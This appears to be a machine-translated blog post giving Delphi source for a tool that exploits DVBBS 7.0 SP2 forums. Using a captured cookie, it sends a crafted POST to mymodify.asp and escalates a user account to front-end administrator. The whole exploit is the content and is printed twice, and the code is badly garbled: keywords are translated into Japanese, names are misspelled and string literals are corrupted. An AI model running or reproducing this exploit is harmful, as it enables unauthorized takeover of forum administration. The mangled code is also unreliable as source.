DVBB S 7.0 Sp 2フロントのディップ利用プログラム「Kendy版」のソースコード
6349 ワード
著者：Kendy ソース：Kendys ブログ
ユニット ユニティ1
インターフェース
アメリカ
Windows、 Messages SysUtils、 Varants、 Class Graphics Controls Forms
Dialogs、 SktComp StdCtrls CommCtrls、 WinSkinData、 シェルアプリ
タイプ
TForm 1 = クラス（TForm）
Label 1: TLabel;
Label 2: TLabel;
Label 3: TLabel;
Edit 1: TEdit;
Edit 2: TEdit;
Edit 3: TEdit;
Button 1: TButton
ClientSockett 1: TClient Socket
Group Box 1: TGroup Box
Memo 1: TMemo;
Label 4: TLabel;
SttusBar 1: TStatusBar
SkintData 1: TSkintData;
プロデュース Button 1 Click(Sender: TObject);
プロデュース ClienntSockett 1 Connect(Sender: TObject
ソケット: TCustom WinSocket）
プロデュース ClientSocket 1 Read(Sender: TObject ソケット: TCustom WinSocket）
プロデュース ClientSocket 1 Error(Sender: TObject ソケット: TCustom WinSocket
ErrerEvent: TErrorEvent; var Error Code: Integer;
プロデュース FormClose(Sender: TObject var アクション: TCloseアクション
prvate
{ Private declarations }
public
{ Public declarations }
end;
var
Form 1: TForm 1;
Data: ストリングス
implement ation
{$R *.dfm｝
プロデュース TForm 1.Button 1 Click(Sender: TObject);
var
sUrl、sUsername、s POST、sReferer、sCookie、S：string；
i:integer;
begin
CientSockett 1.Client lose ;
if edit 1.Text = then
begin
SttusBar 1.Panels[0].Text :=フォーラムの住所を入力してください。;
exit
end;
if edit 2.Text = then
begin
SttusBar 1.Panels[0].Text :=あなたのフォーラムのアカウントを入力してください。;
exit
end;
if edit 3.Text = then
begin
SttusBar 1.Panels[0].Text :=キャプチャしたCookieを入力してください。;
exit
end;
mo 1.Text :=;
SttusBar 1.Panels[0].Text :=;
Label 4.Caption :=;
sUrl:=edit 1.Text ;
if ポス(http://,sUrl） <> 0 then
sUrl:=StringReplace(sUrl)http://,,[rfIgnoreCase)
sUsername:=edit 2.Text ;
s Cookie:=edit 3.Text ;
//----------ホット-------------
i:=Pos(/,sUrl;
if i <> 0 then
sHost:=Copy(sUrl，0，i-1)
else
sHost:=sUrl;
//---------Referer-----------
sReferer:=http:// + sUrl + /mymodify.asp;
//--------POST-----------------
sPost:=StringReplace（sUrl，sHost）,[rfIgnoreCase)
s Post:=sPost + /mymodify.asp？action=udat&username= + sUsername;
//--------パケット----------
S:sex=1&face=Images%2 Fserface%2 Fimage 1.gif&myface=mages/userface/image 1.gif?|32?32?124; 124; 124;?||||?|?20063; 200;;
S:=S+2016:34:00 124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124 124124124; 124124 21.4.235.20??124124124;;
S:=S+0??0 124124124124124; 0 124124124124; 124124124124; 124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124124124124;;;124124124124124124124124124124124;;;;;;;;;124124124124124124124124124124124124124;;;;;;;;;;;124124124124124124124124124124124124124124124124124124124124124124124;;;;;;;;;;;;;;;124124124124124124124124124124124124124124124124 ||||||Dvbs&width=100&height=100;
S:=S+&birthday=&userphoto=&Group Name=%CE% DE%C 3%C 5%CE% C 5%C 9&Signature=&showRe=0&usercookies=1&setuserine fo;
S:=S+=1&setusertrue=0&realname=&persol=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0;
S:=S+&shengxiao=&blood=&belief=&occupation=&martital=&education=&college=&Submit=%B 8%FC+D 0;
Data:=POST +sPost+ HTTP/1.1+#13〓〓10
Data:=Data+Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/vnd.ms-excel、 アプリ/msword、 appication/x-shocwave-flash、 */*+#13〓〓10
Data:=Data+Referer: +sReferer+萼13\29603;10;
Data:=Data+Acceept Language: zh-cn+#13〓〓10
Data:=Data+コンテント-Type: アプリ/x-www-form-urlencoded+#13〓〓10
Data:=Data+Acceept Ecoding: gzip、 deflate+#13〓〓10
Data:=Data+User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.1; Maxthon; TencentTraveler )+#13〓〓10
Data:=Data+Host: +sHost+菗13\33751;10;
Data:=Data+Conteet Length: 585+#13〓〓10
Data:=Data+Connection: Keep-Alive+#13〓〓10
Data:=Data+Cache-Coontrol: no-cache+#13〓〓10
Data:=Data+Cookie: + s Cookie+落13獞10+29531;13獞10;
Data:=Data+S;
//---------パケットの送信を開始する---------。
CientSockett 1.Host := sHost;
ClientSockett 1.Port := 80;
CientSockett 1.Open ;
SttusBar 1.Panels[0].Text :=データ送信中…;
end;
プロデュース TForm 1.lient Sockett 1 Connect(Sender: TObject
ソケット: TCustom WinSocket）
begin
Sockett.SendText（Data）；
end;
プロデュース TForm 1.lient Sockett 1 Read(Sender: TObject
ソケット: TCustom WinSocket）
begin
mo 1.Text :=Sockett.Receive Text ;
if ポス(あなたの修正情報を送信しました。,mo 1.Text） <> 0 then
begin
Label 4.Caption :=>>フロント管理者に昇進しました。;
SttusBar 1.Panels[0].Text :=成功しました。もう一度フォーラムに登録してください。;
end
else
begin
Label 4.Caption :=>> Sorry、権利主張失敗;
SttusBar 1.Panels[0].Text :=失敗しました。フォーラムを変えてみます。;
end;
end;
プロデュース TForm 1.lient Sockett 1 Error(Sender: TObject
ソケット: TCustom WinSocket ErrerEvent: TErrorEvent;
var Error Code: Integer;
begin
Error Code:= 0;
SttusBar 1.Panels[0].Text :=エロエロ…;
Exit
end;
プロデュース TForm 1.FormClose(Sender: TObject var アクション: TCloseアクション
begin
Shell Execute(Handleopen,http://aliwy.77169.com,nil，nil，SW_SHOW
end;
end.
ユニット ユニティ1
インターフェース
アメリカ
Windows、 Messages SysUtils、 Varants、 Class Graphics Controls Forms
Dialogs、 SktComp StdCtrls CommCtrls、 WinSkinData、 シェルアプリ
タイプ
TForm 1 = クラス（TForm）
Label 1: TLabel;
Label 2: TLabel;
Label 3: TLabel;
Edit 1: TEdit;
Edit 2: TEdit;
Edit 3: TEdit;
Button 1: TButton
ClientSockett 1: TClient Socket
Group Box 1: TGroup Box
Memo 1: TMemo;
Label 4: TLabel;
SttusBar 1: TStatusBar
SkintData 1: TSkintData;
プロデュース Button 1 Click(Sender: TObject);
プロデュース ClienntSockett 1 Connect(Sender: TObject
ソケット: TCustom WinSocket）
プロデュース ClientSocket 1 Read(Sender: TObject ソケット: TCustom WinSocket）
プロデュース ClientSocket 1 Error(Sender: TObject ソケット: TCustom WinSocket
ErrerEvent: TErrorEvent; var Error Code: Integer;
プロデュース FormClose(Sender: TObject var アクション: TCloseアクション
prvate
{ Private declarations }
public
{ Public declarations }
end;
var
Form 1: TForm 1;
Data: ストリングス
implement ation
{$R *.dfm｝
プロデュース TForm 1.Button 1 Click(Sender: TObject);
var
sUrl、sUsername、s POST、sReferer、sCookie、S：string；
i:integer;
begin
CientSockett 1.Client lose ;
if edit 1.Text = then
begin
SttusBar 1.Panels[0].Text :=フォーラムの住所を入力してください。;
exit
end;
if edit 2.Text = then
begin
SttusBar 1.Panels[0].Text :=あなたのフォーラムのアカウントを入力してください。;
exit
end;
if edit 3.Text = then
begin
SttusBar 1.Panels[0].Text :=キャプチャしたCookieを入力してください。;
exit
end;
mo 1.Text :=;
SttusBar 1.Panels[0].Text :=;
Label 4.Caption :=;
sUrl:=edit 1.Text ;
if ポス(http://,sUrl） <> 0 then
sUrl:=StringReplace(sUrl)http://,,[rfIgnoreCase)
sUsername:=edit 2.Text ;
s Cookie:=edit 3.Text ;
//----------ホット-------------
i:=Pos(/,sUrl;
if i <> 0 then
sHost:=Copy(sUrl，0，i-1)
else
sHost:=sUrl;
//---------Referer-----------
sReferer:=http:// + sUrl + /mymodify.asp;
//--------POST-----------------
sPost:=StringReplace（sUrl，sHost）,[rfIgnoreCase)
s Post:=sPost + /mymodify.asp？action=udat&username= + sUsername;
//--------パケット----------
S:sex=1&face=Images%2 Fserface%2 Fimage 1.gif&myface=mages/userface/image 1.gif?|32?32?124; 124; 124;?||||?|?20063; 200;;
S:=S+2016:34:00 124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124124 124124124; 124124 21.4.235.20??124124124;;
S:=S+0??0 124124124124124; 0 124124124124; 124124124124; 124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124; 124124124124124; 124124124124124124124;;;124124124124124124124124124124124;;;;;;;;;124124124124124124124124124124124124124;;;;;;;;;;;124124124124124124124124124124124124124124124124124124124124124124124;;;;;;;;;;;;;;;124124124124124124124124124124124124124124124124 ||||||Dvbs&width=100&height=100;
S:=S+&birthday=&userphoto=&Group Name=%CE% DE%C 3%C 5%CE% C 5%C 9&Signature=&showRe=0&usercookies=1&setuserine fo;
S:=S+=1&setusertrue=0&realname=&persol=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0;
S:=S+&shengxiao=&blood=&belief=&occupation=&martital=&education=&college=&Submit=%B 8%FC+D 0;
Data:=POST +sPost+ HTTP/1.1+#13〓〓10
Data:=Data+Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/vnd.ms-excel、 アプリ/msword、 appication/x-shocwave-flash、 */*+#13〓〓10
Data:=Data+Referer: +sReferer+萼13\29603;10;
Data:=Data+Acceept Language: zh-cn+#13〓〓10
Data:=Data+コンテント-Type: アプリ/x-www-form-urlencoded+#13〓〓10
Data:=Data+Acceept Ecoding: gzip、 deflate+#13〓〓10
Data:=Data+User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.1; Maxthon; TencentTraveler )+#13〓〓10
Data:=Data+Host: +sHost+菗13\33751;10;
Data:=Data+Conteet Length: 585+#13〓〓10
Data:=Data+Connection: Keep-Alive+#13〓〓10
Data:=Data+Cache-Coontrol: no-cache+#13〓〓10
Data:=Data+Cookie: + s Cookie+落13獞10+29531;13獞10;
Data:=Data+S;
//---------パケットの送信を開始する---------。
CientSockett 1.Host := sHost;
ClientSockett 1.Port := 80;
CientSockett 1.Open ;
SttusBar 1.Panels[0].Text :=データ送信中…;
end;
プロデュース TForm 1.lient Sockett 1 Connect(Sender: TObject
ソケット: TCustom WinSocket）
begin
Sockett.SendText（Data）；
end;
プロデュース TForm 1.lient Sockett 1 Read(Sender: TObject
ソケット: TCustom WinSocket）
begin
mo 1.Text :=Sockett.Receive Text ;
if ポス(あなたの修正情報を送信しました。,mo 1.Text） <> 0 then
begin
Label 4.Caption :=>>フロント管理者に昇進しました。;
SttusBar 1.Panels[0].Text :=成功しました。もう一度フォーラムに登録してください。;
end
else
begin
Label 4.Caption :=>> Sorry、権利主張失敗;
SttusBar 1.Panels[0].Text :=失敗しました。フォーラムを変えてみます。;
end;
end;
プロデュース TForm 1.lient Sockett 1 Error(Sender: TObject
ソケット: TCustom WinSocket ErrerEvent: TErrorEvent;
var Error Code: Integer;
begin
Error Code:= 0;
SttusBar 1.Panels[0].Text :=エロエロ…;
Exit
end;
プロデュース TForm 1.FormClose(Sender: TObject var アクション: TCloseアクション
begin
Shell Execute(Handleopen,http://aliwy.77169.com,nil，nil，SW_SHOW
end;
end.